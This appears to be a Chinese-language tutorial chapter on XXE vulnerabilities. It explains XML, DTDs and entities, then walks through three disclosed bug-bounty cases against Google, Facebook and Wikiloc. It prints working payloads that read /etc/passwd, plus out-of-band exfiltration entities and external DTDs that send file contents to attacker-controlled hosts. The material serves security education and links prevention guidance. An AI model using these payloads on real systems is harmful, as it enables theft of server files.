XML 外部實體(XML External Entity,XXE)漏洞發生在應用程式解析 XML 時處理外部實體(external entities)的方式有誤。攻擊者可藉此從伺服器讀取檔案,或讓伺服器發出對攻擊者控制目標的請求。
XML 與 DTD 基礎#
XML 是什麼#
XML 是一種元語言(metalanguage):用來描述其他語言的結構。HTML 規定資料怎麼呈現,XML 規定資料怎麼結構化。XML 沒有預先定義的標籤,作者自己定義:
<?xml version="1.0" encoding="UTF-8"?>
<Jobs>
<Job>
<Title>Hacker</Title>
<Compensation>1000000</Compensation>
<Responsibility fundamental="1">Shot web</Responsibility>
</Job>
</Jobs>特性:
- 第一行是宣告版本與編碼
- 所有標籤必須有對應結束標籤
- 標籤可帶屬性(如
fundamental="1")
DTD(Document Type Definition)#
DTD 定義 XML 文件中合法的元素、屬性與巢狀規則。可以是外部 DTD 或內部 DTD。
外部 DTD#
<!DOCTYPE note SYSTEM "jobs.dtd">SYSTEM 是關鍵字,告訴解析器去抓 jobs.dtd 檔案。
內部 DTD#
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsibility)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compensation (#PCDATA)>
<!ELEMENT Responsibility (#PCDATA)>
<!ATTLIST Responsibility fundamental CDATA "0">
]>
<Jobs>...</Jobs>XML Entities(XML 實體)#
實體是 XML 文件中的「佔位符」。用 !ENTITY 宣告,前綴 &、結尾 ; 引用:
<!ENTITY url SYSTEM "website.txt">
...
<Website>&url;</Website>
&用於在 XML 文件中引用;%則用於在 DTD 內部引用——這個區別在後續攻擊中會反覆用到。
XXE 攻擊原理#
當應用程式解析 XML 時未停用外部實體,攻擊者就能讓 XML 引用伺服器上的檔案或對外連線。
直接讀取本機檔案#
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>若回應會把 <foo> 內容輸出回來,就會直接拿到 /etc/passwd。
Out-of-Band(OOB)讀檔#
當應用不回顯解析結果時,需要讓檔案經由 HTTP 請求送到攻擊者伺服器:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>解析時 %xxe 會展開成 /etc/passwd 的內容,再被當成 URL 參數送到 malicious.com——攻擊者只要查 access log 就拿到檔案。
防護方式:禁用 XML 外部實體解析。OWASP 提供各語言的關閉方式:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet ↗
案例 1:Read Access to Google#
- 難度:中
- URL:
https://google.com/gadgets/directory?synd=toolbar/- 回報來源:https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/ ↗
- 回報日期:2014 年 4 月
- 獎金:$10,000
漏洞描述#
Google Toolbar 按鈕庫允許開發者上傳描述按鈕的 XML 檔,搜尋結果頁會渲染按鈕說明。Detectify 團隊送入帶有外部實體的 XML,並用 <!ENTITY ... SYSTEM "file:///etc/passwd">——成功在搜尋結果中看到伺服器的 /etc/passwd 內容。
Takeaways#
「再大的公司也會出錯」。任何接受 XML 的端點都應該測 XXE,讀取
/etc/passwd是最常見的 PoC。
案例 2:Facebook XXE with Microsoft Word#
- 難度:高
- URL:
https://facebook.com/careers/- 回報日期:2014 年 4 月
- 獎金:$6,300
背景#
.docx、.xlsx、.pptx 本質上都是「壓縮的 XML 檔」。研究者 Mohamed Ramadan 發現 Facebook 的 careers 頁允許上傳 .docx,便用 7-Zip 解開檔案,在裡頭某支 XML 加入 payload:
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]>他在自己伺服器放上 ext.dtd:
<!ENTITY send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>並用 Python 啟動 SimpleHTTPServer 監聽。送出後伺服器收到:
173.252.71.129 - - "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 - - "GET /FACEBOOK-HACKED? HTTP/1.0" 404雖然 /etc/passwd 沒實際附在 URL(檔案不存在或無法讀),但收到外部 DTD 請求本身已證明 XML 解析器解析了攻擊者控制的 XML 實體,XXE 漏洞成立。
Ramadan 一度被 Facebook 駁回(懷疑只是員工點了釣魚連結觸發 SSRF)。他堅持說明真正成因,最終 Facebook 確認並付獎金。
Takeaways#
- 看到
.docx/.xlsx/.pptx/ 任何.zip內含 XML 的格式,都可拆開塞 payload- 不要怕被回拒——若你確信漏洞為真,禮貌但堅定地解釋成因
案例 3:Wikiloc XXE#
- 難度:高
- URL:
https://wikiloc.com/- 回報來源:https://www.davidsopas.com/wikiloc-xxe-vulnerability/ ↗
- 回報日期:2015 年 10 月
- 獎金:紀念品(Swag)
漏洞描述#
Wikiloc 是戶外路徑分享平台,允許上傳 .gpx(XML 格式的軌跡檔)。研究者 David Sopas 先下載合法 .gpx,保留結構並插入:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
...
<trk>
<name>&xxe;</name>
...伺服器發出對 Sopas 域名的 GET——XXE 確認。接著升級為讀檔:
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;
]>
...
<name>&send;</name>外部 xxe.dtd 內容:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;整個解析過程:
- Wikiloc 解析內部 DTD,遇到
%dtd;→ 對 Sopas 伺服器要xxe.dtd - 取回
xxe.dtd後遇到%all;→ 定義&send;,其中嵌入%file; %file;展開為/etc/issue內容- 文件中
&send;解析時,把/etc/issue內容當參數送回 Sopas 伺服器 - Sopas 在 access log 拿到檔案內容
Takeaways#
把 payload 嵌進站台原本期望的 XML 結構裡,繞過格式驗證。同時為自己伺服器準備 DTD 回傳檔案,是 OOB 讀檔的標準套路。
章末總結#
- XXE 的關鍵是 XML 解析器對外部實體的處理
- 三種攻擊形式:
- 直接讀檔:回應若回顯解析結果,可直接讀本機檔案
- OOB 外洩:把檔案內容當作 URL 參數送回攻擊者伺服器
- Blind 探測:透過外部 HTTP 請求驗證解析確實發生
- 注意所有「會接 XML」的入口:
- 直接 XML 上傳
.docx/.xlsx/.pptx等 Office 檔.gpx、.svg、.kml、.rss、SAML、SOAP
- 防護:禁用外部實體解析(DOCTYPE、ENTITY、ELEMENT);OWASP 提供各語言實作指引
- PoC 點到為止——讀
/etc/passwd或/etc/issue即可